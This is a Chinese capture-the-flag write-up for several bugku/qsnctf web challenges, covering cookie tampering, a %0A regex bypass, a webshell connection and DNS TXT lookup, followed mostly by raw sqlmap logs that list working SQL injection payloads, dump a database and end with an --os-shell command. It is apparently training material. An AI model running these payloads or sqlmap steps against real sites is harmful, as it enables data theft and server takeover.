bugku qsnctf - 技术栈

此地无银三百两

根据题目的讲解含义就是说，说这里没有flag其实这里就有flag，但是我们使用快捷键ctrl+u不能够调出源码，所以使用F12查看

robots.txt

了解这个文件的应用

然后我们直接拼接这个robots.txt在url后面，就能够得到是否允许的界面

接下来在这个url后面直接拼接不让访问的目录

商师一日游

第一个页面直接F12查看发现开头，以及下一关卡的提示目录，我们进入

这句话的那个曲奇饼的意思就是cookie，然后要刻的字样就是要修改的值

把这个fish牌的值改成strong

然后获得第三步

进入devtool找到复活币的意思，进入修改规则直接进入下一关，我们就

下一关打开告诉我们robots.txt。我们直接访问

得到密码还有下一关

下面出现一个漏洞，这边的理解就是一个参数hhh，作为get来传参，我们的含义就是说，分析这个参数当中是否含有他的白名单的内容

由于名单的过滤不一样，所以就要执行换行处理，我们是输入这个%0Aphp就能够通过第一个的含有php因为im是匹配第一行的开头结尾，而这个i是匹配整个字符串，所以就能通过

这边我们遇到一个post，然后我们遇到这个我们省略号，我们点开

这边有一个disable，我们直接删除

然后点击

后面使用蚁剑链接，获得flag最后b}

我们的秘密

这边的提示很少就说是在域名里面藏了一个flag flag.qsnctf.com，我们看看怎么弄

这边使用dig命令，我们尝试一下这个TXT 这个TXT也可以修改看不一样的文件，但是这边使用TXT就成功获得了flag

文章管理系统

http://challenge.qsnctf.com:46314/?id=4（），得到如下方式我们发现id可以变换考虑sql注入，但是按照常规思路发现一个flag但是是假的

──(kali㉿kali2023)-[~/桌面]

└─$ sqlmap -u "http://challenge.qsnctf.com:46314/?id=1" --current-db

___ [']__ ___ ___ {1.10#stable}

|_ -| . [,] | .'| . |

|| ["]||_|__,| _|

||V... || https://sqlmap.org

!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program \[\*\] starting @ 15:30:52 /2026-03-24/ \[15:30:52\] \[INFO\] testing connection to the target URL \[15:30:52\] \[INFO\] checking if the target is protected by some kind of WAF/IPS \[15:30:53\] \[INFO\] testing if the target URL content is stable \[15:30:53\] \[INFO\] target URL content is stable \[15:30:53\] \[INFO\] testing if GET parameter 'id' is dynamic \[15:30:53\] \[INFO\] GET parameter 'id' appears to be dynamic \[15:30:53\] \[INFO\] heuristic (basic) test shows that GET parameter 'id' might be injectable \[15:30:53\] \[INFO\] testing for SQL injection on GET parameter 'id' \[15:30:53\] \[INFO\] testing 'AND boolean-based blind - WHERE or HAVING clause' \[15:30:54\] \[INFO\] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="野草") \[15:30:55\] \[INFO\] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? \[Y/n\] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? \[Y/n\] Y \[15:31:03\] \[INFO\] testing 'MySQL \>= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' \[15:31:03\] \[INFO\] testing 'MySQL \>= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' \[15:31:03\] \[INFO\] testing 'MySQL \>= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' \[15:31:03\] \[INFO\] testing 'MySQL \>= 5.5 OR error-based - WHERE or HAVING clause (EXP)' \[15:31:03\] \[INFO\] testing 'MySQL \>= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' \[15:31:04\] \[WARNING\] reflective value(s) found and filtering out \[15:31:04\] \[INFO\] GET parameter 'id' is 'MySQL \>= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable \[15:31:04\] \[INFO\] testing 'Generic inline queries' \[15:31:04\] \[INFO\] testing 'MySQL inline queries' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.0.12 stacked queries (comment)' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.0.12 stacked queries' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.0.12 stacked queries (query SLEEP - comment)' \[15:31:04\] \[INFO\] testing 'MySQL \>= 5.0.12 stacked queries (query SLEEP)' \[15:31:04\] \[INFO\] testing 'MySQL \< 5.0.12 stacked queries (BENCHMARK - comment)' \[15:31:04\] \[INFO\] testing 'MySQL \< 5.0.12 stacked queries (BENCHMARK)' \[15:31:05\] \[INFO\] testing 'MySQL \>= 5.0.12 AND time-based blind (query SLEEP)' \[15:31:15\] \[INFO\] GET parameter 'id' appears to be 'MySQL \>= 5.0.12 AND time-based blind (query SLEEP)' injectable \[15:31:15\] \[INFO\] testing 'Generic UNION query (NULL) - 1 to 20 columns' \[15:31:15\] \[INFO\] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found \[15:31:15\] \[INFO\] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test \[15:31:15\] \[INFO\] target URL appears to have 2 columns in query \[15:31:16\] \[INFO\] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? \[y/N\] Y sqlmap identified the following injection point(s) with a total of 58 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 3778=3778 Type: error-based Title: MySQL \>= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 OR (SELECT 2387 FROM(SELECT COUNT(\*),CONCAT(0x71627a6b71,(SELECT (ELT(2387=2387,1))),0x7176626b71,FLOOR(RAND(0)\*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL \>= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 7712 FROM (SELECT(SLEEP(5)))TDNs) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT CONCAT(0x71627a6b71,0x576f50704f6a6b5156624f64595a476a4f666950677445446f47484e50654f796d64555955444657,0x7176626b71),NULL-- - --- \[15:31:20\] \[INFO\] the back-end DBMS is MySQL web application technology: Nginx 1.18.0, PHP 7.3.22 back-end DBMS: MySQL \>= 5.0 (MariaDB fork) \[15:31:20\] \[INFO\] fetching current database current database: 'word' \[15:31:20\] \[INFO\] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com' \[\*\] ending @ 15:31:20 /2026-03-24/ ┌──(kali㉿kali2023)-\[\~/桌面

└─$ sqlmap -u "http://challenge.qsnctf.com:46314/?id=1" -D word --tables

___ [']__ ___ ___ {1.10#stable}

|_ -| . [,] | .'| . |

|| [,]||_|__,| _|

||V... || https://sqlmap.org

!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program \[\*\] starting @ 15:33:08 /2026-03-24/ \[15:33:08\] \[INFO\] resuming back-end DBMS 'mysql' \[15:33:08\] \[INFO\] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 3778=3778 Type: error-based Title: MySQL \>= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 OR (SELECT 2387 FROM(SELECT COUNT(\*),CONCAT(0x71627a6b71,(SELECT (ELT(2387=2387,1))),0x7176626b71,FLOOR(RAND(0)\*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL \>= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 7712 FROM (SELECT(SLEEP(5)))TDNs) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT CONCAT(0x71627a6b71,0x576f50704f6a6b5156624f64595a476a4f666950677445446f47484e50654f796d64555955444657,0x7176626b71),NULL-- - --- \[15:33:09\] \[INFO\] the back-end DBMS is MySQL web application technology: Nginx 1.18.0, PHP 7.3.22 back-end DBMS: MySQL \>= 5.0 (MariaDB fork) \[15:33:09\] \[INFO\] fetching tables for database: 'word' \[15:33:09\] \[WARNING\] reflective value(s) found and filtering out Database: word \[1 table

+----------+

| articles |

+----------+

15:33:09\] \[INFO\] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com' \[\*\] ending @ 15:33:09 /2026-03-24/ ┌──(kali㉿kali2023)-\[\~/桌面

└─$ sqlmap -u "http://challenge.qsnctf.com:46314/?id=1" -D word -T articles --columns

___ [.]__ ___ ___ {1.10#stable}

|_ -| . ["] | .'| . |

|| [(]||_|__,| _|

||V... || https://sqlmap.org

!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program \[\*\] starting @ 15:34:18 /2026-03-24/ \[15:34:18\] \[INFO\] resuming back-end DBMS 'mysql' \[15:34:18\] \[INFO\] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 3778=3778 Type: error-based Title: MySQL \>= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 OR (SELECT 2387 FROM(SELECT COUNT(\*),CONCAT(0x71627a6b71,(SELECT (ELT(2387=2387,1))),0x7176626b71,FLOOR(RAND(0)\*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL \>= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 7712 FROM (SELECT(SLEEP(5)))TDNs) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT CONCAT(0x71627a6b71,0x576f50704f6a6b5156624f64595a476a4f666950677445446f47484e50654f796d64555955444657,0x7176626b71),NULL-- - --- \[15:34:19\] \[INFO\] the back-end DBMS is MySQL web application technology: PHP 7.3.22, Nginx 1.18.0 back-end DBMS: MySQL \>= 5.0 (MariaDB fork) \[15:34:19\] \[INFO\] fetching columns for table 'articles' in database 'word' \[15:34:19\] \[WARNING\] reflective value(s) found and filtering out Database: word Table: articles \[3 columns

+--------+--------------+

| Column | Type |

+--------+--------------+

| id | int(11) |

| title | varchar(100) |

| word | text |

+--------+--------------+

15:34:19\] \[INFO\] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com' \[\*\] ending @ 15:34:19 /2026-03-24/ ┌──(kali㉿kali2023)-\[\~/桌面

└─$ sqlmap -u "http://challenge.qsnctf.com:46314/?id=1" -D word -T articles -C id --dump

___ [,]__ ___ ___ {1.10#stable}

|_ -| . ["] | .'| . |

|| [,]||_|__,| _|

||V... || https://sqlmap.org

!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program \[\*\] starting @ 15:36:05 /2026-03-24/ \[15:36:05\] \[INFO\] resuming back-end DBMS 'mysql' \[15:36:05\] \[INFO\] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 3778=3778 Type: error-based Title: MySQL \>= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 OR (SELECT 2387 FROM(SELECT COUNT(\*),CONCAT(0x71627a6b71,(SELECT (ELT(2387=2387,1))),0x7176626b71,FLOOR(RAND(0)\*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL \>= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 7712 FROM (SELECT(SLEEP(5)))TDNs) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT CONCAT(0x71627a6b71,0x576f50704f6a6b5156624f64595a476a4f666950677445446f47484e50654f796d64555955444657,0x7176626b71),NULL-- - --- \[15:36:05\] \[INFO\] the back-end DBMS is MySQL web application technology: Nginx 1.18.0, PHP 7.3.22 back-end DBMS: MySQL \>= 5.0 (MariaDB fork) \[15:36:05\] \[INFO\] fetching entries of column(s) 'id' for table 'articles' in database 'word' \[15:36:06\] \[WARNING\] reflective value(s) found and filtering out Database: word Table: articles \[4 entries

+--------+

| id |

+--------+

| 1 |

| 2 |

| 3 |

| 987516 |

+--------+

15:36:06\] \[INFO\] table 'word.articles' dumped to CSV file '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com/dump/word/articles.csv' \[15:36:06\] \[INFO\] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com' \[\*\] ending @ 15:36:06 /2026-03-24/ ┌──(kali㉿kali2023)-\[\~/桌面

└─$ sqlmap -u "http://challenge.qsnctf.com:46314/?id=1" -D word -T articles -C title --dump

___ [)]__ ___ ___ {1.10#stable}

|_ -| . [,] | .'| . |

|| [)]||_|__,| _|

||V... || https://sqlmap.org

!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program \[\*\] starting @ 15:36:29 /2026-03-24/ \[15:36:30\] \[INFO\] resuming back-end DBMS 'mysql' \[15:36:30\] \[INFO\] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 3778=3778 Type: error-based Title: MySQL \>= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 OR (SELECT 2387 FROM(SELECT COUNT(\*),CONCAT(0x71627a6b71,(SELECT (ELT(2387=2387,1))),0x7176626b71,FLOOR(RAND(0)\*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL \>= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 7712 FROM (SELECT(SLEEP(5)))TDNs) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT CONCAT(0x71627a6b71,0x576f50704f6a6b5156624f64595a476a4f666950677445446f47484e50654f796d64555955444657,0x7176626b71),NULL-- - --- \[15:36:30\] \[INFO\] the back-end DBMS is MySQL web application technology: PHP 7.3.22, Nginx 1.18.0 back-end DBMS: MySQL \>= 5.0 (MariaDB fork) \[15:36:30\] \[INFO\] fetching entries of column(s) 'title' for table 'articles' in database 'word' \[15:36:30\] \[WARNING\] reflective value(s) found and filtering out Database: word Table: articles \[4 entries

+----------------+

| title |

+----------------+

| FLAG |

| 惯于长夜过春时 |

| 自嘲 |

| 野草 |

+----------------+

15:36:30\] \[INFO\] table 'word.articles' dumped to CSV file '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com/dump/word/articles.csv' \[15:36:30\] \[INFO\] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com' \[\*\] ending @ 15:36:30 /2026-03-24/ ┌──(kali㉿kali2023)-\[\~/桌面

└─$ sqlmap -u "http://challenge.qsnctf.com:46314/?id=1" -D word -T articles -C word --dump

___ ["]__ ___ ___ {1.10#stable}

|_ -| . ['] | .'| . |

|| [(]||_|__,| _|

||V... || https://sqlmap.org

!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program \[\*\] starting @ 15:36:52 /2026-03-24/ \[15:36:52\] \[INFO\] resuming back-end DBMS 'mysql' \[15:36:52\] \[INFO\] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 3778=3778 Type: error-based Title: MySQL \>= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 OR (SELECT 2387 FROM(SELECT COUNT(\*),CONCAT(0x71627a6b71,(SELECT (ELT(2387=2387,1))),0x7176626b71,FLOOR(RAND(0)\*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL \>= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 7712 FROM (SELECT(SLEEP(5)))TDNs) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1 UNION ALL SELECT CONCAT(0x71627a6b71,0x576f50704f6a6b5156624f64595a476a4f666950677445446f47484e50654f796d64555955444657,0x7176626b71),NULL-- - --- \[15:36:52\] \[INFO\] the back-end DBMS is MySQL web application technology: PHP 7.3.22, Nginx 1.18.0 back-end DBMS: MySQL \>= 5.0 (MariaDB fork) \[15:36:52\] \[INFO\] fetching entries of column(s) 'word' for table 'articles' in database 'word' \[15:36:52\] \[WARNING\] reflective value(s) found and filtering out Database: word Table: articles \[4 entries

+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

| word |

| 当我沉默着的时候，我觉得充实；我将开口，同时感到空虚。过去的生命已经死亡。我对于这死亡有大欢喜，因为我借此知道它曾经存活。死亡的生命已经朽腐。我对于这朽腐有大欢喜，因为我借此知道它还非空虚。 生命的泥委弃在地面上，不生乔木，只生野草，这是我的罪过。野草，根本不深，花叶不美，然而吸取露，吸取水，吸取陈死人的血和肉，各各夺取它的生存。当生存时，还是将遭践踏，将遭删刈，直至于死亡而朽腐。 但我坦然，欣然。我将大笑，我将歌唱。我自爱我的野草，但我憎恶这以野草作装饰的地面。地火在地下运行，奔突；熔岩一旦喷出，将烧尽一切野草，以及乔木，于是并且无可朽腐。但我坦然，欣然。 我将大笑，我将歌唱。天地有如此静穆，我不能大笑而且歌唱。天地即不如此静穆，我或者也将不能。我以这一丛野草，在明与暗，生与死，过去与未来之际，献于友与仇，人与兽，爱者与不爱者之前作证。 为我自己，为友与仇，人与兽，爱者与不爱者，我希望这野草的朽腐，火速到来。要不然，我先就未曾生存，这实在比死亡与朽腐更其不幸。去罢，野草，连着我的题辞！ |

| 惯于长夜过春时，挈妇将雏鬓有丝。 梦里依稀慈母泪，城头变幻大王旗。 忍看朋辈成新鬼，怒向刀丛觅小诗。 吟罢低眉无写处，月光如水照缁衣。 |

| 运交华盖欲何求，未敢翻身已碰头。 破帽遮颜过闹市，漏船载酒泛中流。 横眉冷对千夫指，俯首甘为孺子牛。 躲进小楼成一统，管他冬夏与春秋。 |

| qsnctf{sql+so+easy!!!!} |

15:36:52\] \[INFO\] table 'word.articles' dumped to CSV file '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com/dump/word/articles.csv' \[15:36:52\] \[INFO\] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge.qsnctf.com' \[\*\] ending @ 15:36:52 /2026-03-24/ 然后后来使用命令（--os-shell ）获得操作系统权限选择5执行php命令 ┌──(kali㉿kali2023)-\[\~/桌面

└─$ sqlmap -u http://challenge.qsnctf.com:46314/?id=1 --os-shell

___ ["]__ ___ ___ {1.10#stable}

|_ -| . [,] | .'| . |

|| ["]||_|__,| _|

||V... || https://sqlmap.org